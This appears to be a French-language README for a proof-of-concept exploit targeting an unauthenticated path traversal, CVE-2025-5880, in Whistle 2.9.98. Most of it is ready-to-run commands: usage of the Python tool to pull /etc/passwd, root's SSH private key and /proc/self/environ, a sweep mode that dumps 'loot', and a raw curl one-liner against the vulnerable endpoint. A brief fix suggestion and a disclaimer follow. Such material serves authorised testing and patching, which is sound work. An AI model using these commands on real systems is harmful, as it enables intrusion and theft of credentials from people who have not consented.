
Exploit de preuve de concept pour une vulnérabilité de traversée de chemin non authentifiée dans Whistle v2.9.98.
| Champ | Détail |
|---|
| Identifiant CVE | CVE-2025-5880 |
| CWE | CWE-22 (Traversée de chemins) |
| Logiciel affecté | Whistle ≤ 2.9.98 |
| Point d'accès affecté | /cgi-bin/sessions/get-temp-file |
| Vecteur d'attaque | Réseau — aucune authentification requise |
| Impact | Lecture arbitraire de fichiers sur le système de fichiers hôte |
Le paramètre de requête filename n'est pas nettoyé avant d'être utilisé pour ouvrir un fichier sur le disque, permettant à un attaquant de sortir du répertoire de fichiers temporaires prévu et de lire tout fichier auquel le processus Whistle a l'autorisation d'accéder (ex. /etc/passwd, /root/.ssh/id_rsa).
# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
# Aucune dépendance externe
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
[--sweep] [-o OUTPUT] [--save-dir DIR]
[--timeout N]
| Option | Description |
|---|---|
-u / --url | URL de base de la cible (ex. http://192.168.1.10:8899) |
-f / --file | Chemin de fichier arbitraire à lire |
--preset | Raccourci nommé : passwd shadow hosts id_rsa … |
--sweep | Parcourir tous les préréglages automatiquement |
-o / --output | Enregistrer le résultat dans un fichier |
--save-dir | Répertoire pour déverser le butin de --sweep |
--timeout | Délai d'attente HTTP en secondes (par défaut 10) |
# Lire /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# Récupérer la clé privée SSH de root
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
# Lire un chemin arbitraire
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
# Parcourir et sauvegarder tous les préréglages
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'
Mettez à jour Whistle vers une version qui valide et restreint le paramètre filename au répertoire de fichiers temporaires prévu. Appliquez une normalisation de chemin par liste blanche (ex. path.resolve + vérification de préfixe) côté serveur.
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation.
L'utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale et contraire à l'éthique.
L'auteur décline toute responsabilité en cas d'utilisation abusive.